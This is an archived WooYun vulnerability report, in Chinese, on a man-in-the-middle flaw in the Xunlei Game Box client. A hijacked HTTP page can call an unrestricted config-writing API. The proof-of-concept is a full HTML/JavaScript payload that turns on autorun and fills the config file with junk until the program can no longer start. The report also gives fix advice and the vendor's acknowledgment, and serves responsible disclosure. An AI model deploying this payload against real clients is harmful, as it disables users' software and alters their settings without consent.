当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099196

漏洞标题:迅雷游戏盒子可被中间人攻击导致持久性拒绝服务

相关厂商:迅雷

漏洞作者: MITM

提交时间:2015-03-03 12:47

修复时间:2015-06-01 13:56

公开时间:2015-06-01 13:56

漏洞类型:拒绝服务

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-03: 细节已通知厂商并且等待厂商处理中
2015-03-03: 厂商已经确认,细节仅向厂商公开
2015-03-06: 细节向第三方安全合作伙伴开放
2015-04-27: 细节向核心白帽子及相关领域专家公开
2015-05-07: 细节向普通白帽子公开
2015-05-17: 细节向实习白帽子公开
2015-06-01: 细节向公众公开

简要描述:

迅雷游戏盒子可被中间人攻击导致持久性拒绝服务。版本号:2.2.21.0360

详细说明:

迅雷游戏盒子打开时会向http://v2.boxpage.niu.xunlei.com/v3/index.html发送请求。通过研究这个html文件,我发现window.external.SetConfigData()这个API可以写入本地配置文件,没有做限制。比如:window.external.SetConfigData("~XLGameBoxConfig~", "IsAutoRun", "true")可以使游戏盒子开机自动启动。这个本地文件保存在%APPDATA%\迅雷游戏\XLGameBox\Data\xggb_config.ini。因为没有用HTTPS,所以中间人可以劫持游戏盒子的网页请求,这样中间人即可任意写本地配置文件。我找了半天,没发现有特别危险的配置,比如代码执行,下载文件。我也不想就这么算了,所以那就破坏呗。所以我就用setInterval循环向配置文件里写入大量无用信息,实测1分钟可写130MB左右。因为程序每次启动时都会先读取配置文件,所以当这个文件非常大时,可以导致程序永远无法正常打开。实测200MB左右时,无响应2分钟才能打开。而且即使打开了,每次移动窗口时还会卡半天。

漏洞证明:

版本号:

Screenshot (17).png


Screenshot (8).png


劫持http://v2.boxpage.niu.xunlei.com/v3/index.html,返回下面内容:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Test</title>
<script>
var val_w = new Array(1024*1024).join("a");
var i = 0;
window.external.SetConfigData("~XLGameBoxConfig~", "IsAutoRun", "true"); //开机自动启动
window.external.SetConfigData("~XLGameBoxConfig~", "CloseOperation", "Mini"); //点"X"最小化,而不是关闭程序
function iter() {
window.external.SetConfigData("~UpdateInfo~", i, val_w);
i++;
}
function dos() {
window.external.SetConfigData("~XLGameBoxConfig~", "MainWndPos_Left", val_w);
window.external.SetConfigData("~XLGameBoxConfig~", "MainWndPos_Right", val_w);
window.external.SetConfigData("~XLGameBoxConfig~", "MainWndPos_Top", val_w);
window.external.SetConfigData("~XLGameBoxConfig~", "MainWndPos_Bottom", val_w);
window.external.SetConfigData("~XLGameBoxConfig~", "MainWndPos_State", val_w);
window.setInterval(iter,50);
}
</script>
</head>
<body onload="dos()">
软件正在进行更新,请稍等。这一过程可能持续几分钟。
</body>
</html>


然后运行程序,可以看到正在配置文件正在快速变大:

Screenshot (7).png


在没有攻击的环境下,再打开的时候:

Screenshot (16).png

Screenshot (14).png


即使打开了,移动一下窗口:

Screenshot (12).png

修复方案:

首先让网页直接修改本地文件是危险的,不能不重视中间人攻击。如果你们之后加个能够用来执行代码的配置,那就不止拒绝服务这么简单了。任何通过HTTP(非HTTPS)下载的页面是不能信任的。所以SetConfigData能不公开给网页就不公开,即使非要用,要么用HTTPS,强制HTTPS网页才能改设置;要么限制能够设置的内容(几选一的方式设置)。另外,GetConfigData应该在读文件之前检查文件大小,大到离谱的时候,就应当删除并用默认值覆盖,或者只取前几KB读。

版权声明:转载请注明来源 MITM@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-03 13:55

厂商回复:

感谢反馈!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-06 01:56 | ca1n ( 普通白帽子 | Rank:100 漏洞数:22 | not yet)

    这个好玩